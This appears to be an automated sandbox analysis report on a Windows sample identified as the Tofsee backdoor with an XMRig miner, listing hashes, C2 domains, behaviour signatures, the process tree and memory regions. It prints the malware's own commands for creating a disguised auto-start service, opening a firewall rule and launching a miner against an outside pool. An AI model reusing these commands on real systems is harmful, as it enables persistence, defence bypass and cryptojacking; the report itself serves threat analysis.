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Analysis

  • max time kernel
    144s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    10/10/2023, 12:23

General

  • Target

    file.exe

  • Size

    284KB

  • MD5

    d1de288c58de023e8aad492868da3b92

  • SHA1

    530d8675705fee02d103c076706585f8f7a97de2

  • SHA256

    ead20c77e005c89bcc2a699892caa8775d7a7aa2c15d5170fd3d4b783f8f3ee3

  • SHA512

    9179f17800fe35a816c3dc29a6d936e56658f253b83fac6c396cad5fd2f8c2c4e0beb62013c4d2625e13a5ba9ba7332f5bbadb6702eb441cc1a07e995365906e

  • SSDEEP

    3072:FcSalqHSwBWbacDEgFAdpW1Z8AZLJDAM/a9:taYlWeeEucpCZZZq

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2700
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ziblgtcn\
      2⤵
        PID:1552
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\dttqcoec.exe" C:\Windows\SysWOW64\ziblgtcn\
        2⤵
          PID:920
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ziblgtcn binPath= "C:\Windows\SysWOW64\ziblgtcn\dttqcoec.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1500
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ziblgtcn "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2576
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ziblgtcn
          2⤵
          • Launches sc.exe
          PID:2688
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2532
      • C:\Windows\SysWOW64\ziblgtcn\dttqcoec.exe
        C:\Windows\SysWOW64\ziblgtcn\dttqcoec.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2436
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2668
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2336

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\dttqcoec.exe

        Filesize

        13.8MB

        MD5

        6b98091ac60ec187cb9eb16d47861661

        SHA1

        4c81d2217f91aa0df24888ea3e54ae69b07ce84f

        SHA256

        93925a6f48dc26d4030025a9501dc1d5ef17a8318944620a478c9453a652931c

        SHA512

        3e1860da86e7f1072a4ab61fa7ba19480f6ff77f28f0d2789cc63a39b85eea15ef18be63e748360d48a7d2eeeb2b4ef78ef88df47b4891f9f592d47299b7f068

      • C:\Windows\SysWOW64\ziblgtcn\dttqcoec.exe

        Filesize

        13.8MB

        MD5

        6b98091ac60ec187cb9eb16d47861661

        SHA1

        4c81d2217f91aa0df24888ea3e54ae69b07ce84f

        SHA256

        93925a6f48dc26d4030025a9501dc1d5ef17a8318944620a478c9453a652931c

        SHA512

        3e1860da86e7f1072a4ab61fa7ba19480f6ff77f28f0d2789cc63a39b85eea15ef18be63e748360d48a7d2eeeb2b4ef78ef88df47b4891f9f592d47299b7f068

      • memory/2336-77-0x0000000000190000-0x0000000000281000-memory.dmp

        Filesize

        964KB

      • memory/2336-78-0x0000000000190000-0x0000000000281000-memory.dmp

        Filesize

        964KB

      • memory/2336-76-0x0000000000190000-0x0000000000281000-memory.dmp

        Filesize

        964KB

      • memory/2336-75-0x0000000000190000-0x0000000000281000-memory.dmp

        Filesize

        964KB

      • memory/2336-74-0x0000000000190000-0x0000000000281000-memory.dmp

        Filesize

        964KB

      • memory/2336-73-0x0000000000190000-0x0000000000281000-memory.dmp

        Filesize

        964KB

      • memory/2336-65-0x0000000000190000-0x0000000000281000-memory.dmp

        Filesize

        964KB

      • memory/2336-63-0x0000000000190000-0x0000000000281000-memory.dmp

        Filesize

        964KB

      • memory/2436-18-0x0000000000400000-0x0000000002284000-memory.dmp

        Filesize

        30.5MB

      • memory/2436-10-0x00000000002D0000-0x00000000003D0000-memory.dmp

        Filesize

        1024KB

      • memory/2436-19-0x0000000000400000-0x0000000002284000-memory.dmp

        Filesize

        30.5MB

      • memory/2668-37-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/2668-44-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/2668-21-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2668-23-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2668-24-0x0000000001850000-0x0000000001A5F000-memory.dmp

        Filesize

        2.1MB

      • memory/2668-27-0x0000000001850000-0x0000000001A5F000-memory.dmp

        Filesize

        2.1MB

      • memory/2668-28-0x00000000000C0000-0x00000000000C6000-memory.dmp

        Filesize

        24KB

      • memory/2668-31-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/2668-34-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/2668-35-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/2668-36-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/2668-11-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2668-38-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/2668-39-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/2668-40-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/2668-41-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/2668-42-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/2668-43-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/2668-45-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/2668-20-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2668-46-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/2668-47-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/2668-48-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/2668-49-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/2668-50-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/2668-51-0x00000000003D0000-0x00000000003D5000-memory.dmp

        Filesize

        20KB

      • memory/2668-54-0x00000000003D0000-0x00000000003D5000-memory.dmp

        Filesize

        20KB

      • memory/2668-55-0x00000000058C0000-0x0000000005CCB000-memory.dmp

        Filesize

        4.0MB

      • memory/2668-58-0x00000000058C0000-0x0000000005CCB000-memory.dmp

        Filesize

        4.0MB

      • memory/2668-59-0x00000000003F0000-0x00000000003F7000-memory.dmp

        Filesize

        28KB

      • memory/2668-17-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2668-14-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2668-12-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2700-1-0x0000000002430000-0x0000000002530000-memory.dmp

        Filesize

        1024KB

      • memory/2700-6-0x0000000000400000-0x0000000002284000-memory.dmp

        Filesize

        30.5MB

      • memory/2700-7-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/2700-4-0x0000000000400000-0x0000000002284000-memory.dmp

        Filesize

        30.5MB

      • memory/2700-2-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB